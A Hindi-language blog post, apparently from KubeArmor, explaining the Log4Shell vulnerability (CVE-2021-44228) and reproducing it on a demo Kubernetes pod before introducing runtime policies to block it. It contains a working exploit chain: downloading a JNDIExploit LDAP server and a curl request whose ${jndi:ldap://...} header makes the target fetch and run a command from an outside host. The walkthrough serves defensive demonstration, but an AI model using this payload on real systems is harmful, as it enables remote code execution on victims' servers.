
Apache Log4j ज़ीरो डे भेद्यता उर्फ़ Log4Shell उर्फ़ CVE-2021-44228
9 दिसंबर, 2021 को, दुनिया एक नई भेद्यता से अवगत हुई जिसे CVE-2021-44228 के रूप में पहचाना गया, जो Apache Java लॉगिंग पैकेज log4j को प्रभावित करती है। इस भेद्यता ने गंभीरता स्कोर 10.0 (सबसे महत्वपूर्ण पदनाम) अर्जित किया और उन होस्टों पर सरल दूरस्थ कोड निष्पादन प्रदान करती है जो इस log4j संस्करण का उपयोग करने वाले सॉफ़्टवेयर से जुड़ते हैं। "Log4Shell" इस हमले को दिया गया नाम है।
आज, log4j संस्करण 2.15.0rc2 उपलब्ध है और इस भेद्यता को पैच करता है। हालाँकि, इस भेद्यता का भारी खतरा इस बात के कारण है कि लॉगिंग पैकेज कितना सर्वव्यापी है। लाखों अनुप्रयोगों के साथ-साथ सॉफ़्टवेयर प्रदाता अपने कोड में इस पैकेज को निर्भरता के रूप में उपयोग करते हैं।
ज्ञात सबसे प्रारंभिक पहचान: 2021-12-01 04:36:50 UTC

प्रभावित संस्करण:
कौन प्रभावित है?
प्रभाव: जिस उपयोगकर्ता के रूप में मूल प्रक्रिया चल रही है, उसके रूप में मनमाना कोड निष्पादन (सार्वजनिक इंटरनेट से लाया गया कोड, या सिस्टम पर पहले से मौजूद lolbins, या केवल साझा रहस्यों या पर्यावरण चरों को प्राप्त करके हमलावर को वापस भेजना)।
लक्ष्य: सर्वर और क्लाइंट जो Java चलाते हैं और log4j फ्रेमवर्क का उपयोग करके कुछ भी लॉग करते हैं - मुख्य रूप से सर्वर-साइड चिंता, लेकिन कोई भी कमजोर एंडपॉइंट लक्ष्य या पिवट पॉइंट हो सकता है।
डाउनस्ट्रीम प्रोजेक्ट्स: जब तक अन्यथा सिद्ध न हो, मान लें कि log4j शामिल करने वाली कोई भी चीज़ - जिसमें Elasticsearch, Apache Struts / Solr / Druid / Flink आदि शामिल हैं - इस तरह से प्रभावित है जिसके लिए शमन की आवश्यकता है।
प्रभावित संस्करण: log4j 2.x पुष्टि - log4j 1.x केवल अप्रत्यक्ष रूप से (पिछली सूचना प्रकटीकरण भेद्यताएं) (कुछ कॉन्फ़िगरेशन में)
उपकरण: उन उपकरणों को न भूलें जो Java सर्वर घटकों का उपयोग कर सकते हैं, लेकिन अप्रमाणित भेद्यता स्कैनिंग द्वारा उनका पता नहीं लगाया जाएगा
लॉग फ़ॉरवर्डिंग: लॉगिंग इन्फ्रास्ट्रक्चर में अक्सर कई "उत्तरमुखी" (मेरे लॉग किसी को भेजें) और "दक्षिणमुखी" (किसी से लॉग प्राप्त करना) फ़ॉरवर्डिंग/रिलेइंग टोपोलॉजी होती हैं। शोषण के लिए उन्हें एक साथ जोड़ने पर भी विचार किया जाना चाहिए।
क्लाउड: कई बड़े प्रदाता भी प्रभावित हैं (CVE-2021-44228 के लिए कमजोर सॉफ़्टवेयर और सेवाओं की एक समुदाय-क्यूरेटेड सूची इस GitHub रिपॉजिटरी में पाई जा सकती है)।

चरण #1: कुबेरनेट्स में Log4j के लिए कमजोर संबंधित सेवाओं वाले पॉड को तैनात करना
git clone https://github.com/kubearmor/log4j-cve && cd log4j-cve
kubectl apply -f deploy-log4j-k8s.yaml
kubectl get po,svc
NAME READY STATUS RESTARTS AGE
pod/log4j-demo-5d7c84d8b9-vs8ck 1/1 Running 0 1h30m
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
service/kubernetes ClusterIP 10.112.0.1 <none> 443/TCP 4h44m
service/log4j-svc LoadBalancer 10.112.8.158 35.241.165.36 80:30202/TCP 1h30m
कृपया ध्यान दें हमने
defaultनेमस्पेस में कमजोर Log4Shell नमूना एप्लिकेशन तैनात किया है
चरण #2: दुर्भावनापूर्ण LDAP सर्वर डाउनलोड करना
wget https://log4j-knox.s3.amazonaws.com/JNDIExploit-1.2-SNAPSHOT.jar
चरण #3: अपने PC या क्लाउड VM पर इनकमिंग ट्रैफिक के लिए LDAP सर्वर शुरू करना
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [<your-private-ip>] -p 8888
प्राइवेट IP
hostname -Iका उपयोग करके क्वेरी किया जा सकता है।
सुनिश्चित करें कि आपका फ़ायरवॉल पोर्ट1389और8888के लिए ट्रैफिक की अनुमति देता है
चरण #4: cURL कमांड का उपयोग करके शोषण
# curl <protocol://victim-ip:port> -H 'X-Api-Version: ${jndi:ldap://<malicious-server-ip>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
curl http://35.241.165.36 -H 'X-Api-Version: ${jndi:ldap://34.135.86.213:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
यहाँ, पहला IP हमारा k8s बाहरी IP है (चरण #1) जहाँ कमजोर नमूना एप्लिकेशन चल रहा है।
दूसरा IP दुर्भावनापूर्ण LDAP सर्वर का बाहरी IP है (चरण #2)
चरण #5: फ़ाइल /tmp/pwned के निर्माण की जाँच करके पुष्टि
kubectl exec -it --namespace default log4j-demo-5d7c84d8b9-vs8ck -- watch -n 2 ls /tmp
log4j-demo-5d7c84d8b9-vs8ckको चरण #1 के आउटपुट से अपने पॉड से बदलें।
आपको/tmpनिर्देशिका के अंदरpwnedके रूप में बनाई गई एक फ़ाइल देखने में सक्षम होना चाहिए।
KubeArmor एक रनटाइम सुरक्षा प्लेटफ़ॉर्म है जो सुरक्षा/DevSecOps टीमों को एप्लिकेशन/सिस्टम-आधारित नियंत्रणों (जैसे प्रक्रिया स्पॉनिंग को सीमित करना, फ़ाइल सिस्टम पहुंच को सीमित करना, पॉड क्षमताओं को सीमित करना आदि) का उपयोग करके अपने वर्कलोड की सुरक्षा करने में मदद कर सकता है। KubeArmor में एक दृश्यता मोड है जिसका उपयोग करके एप्लिकेशन/सुरक्षा टीम दृश्यता सक्षम कर सकती है जिससे पता चलता है कि पॉड के अंदर क्या हो रहा है अर्थात्, कौन सी प्रक्रियाएँ स्पॉन की गई हैं, कौन से फ़ाइल एक्सेस का प्रयास किया गया है आदि। KubeArmor के बारे में सबसे बड़ा लाभ यह है कि एक उपयोगकर्ता के रूप में आप ऐसी नीतियाँ भी सबमिट कर सकते हैं जो ऐसे सिस्टम संचालन को रोक/ब्लॉक/अस्वीकार कर सकती हैं।
आमतौर पर एक हमलावर आंतरिक डेटा को बाहर निकालने या क्रिप्टोमाइनिंग के लिए या केवल आंतरिक ऐप्स में तबाही मचाने के इरादे से घुसपैठ करता है। इन सभी मामलों में, हमलावर को एक मनमाना प्रोग्राम निष्पादित करने की आवश्यकता होती है जो अपने दुर्भावनापूर्ण इरादे को पूरा कर सके। Log4j भेद्यता हमलावर को आंतरिक नेटवर्क के भीतर एक बाइनरी रखने की अनुमति देती है। हालाँकि, ऐसी गार्डरेल लगाई जा सकती हैं ताकि JVM को प्रक्रियाएँ स्पॉन करने की अनुमति न हो।
निम्नलिखित एक KubeArmor नीति है जो पॉड में Java एप्लिकेशन की चाइल्ड प्रक्रिया के रूप में किसी भी प्रक्रिया को फ़ोर्क किए जाने से अस्वीकार/रोक सकती है।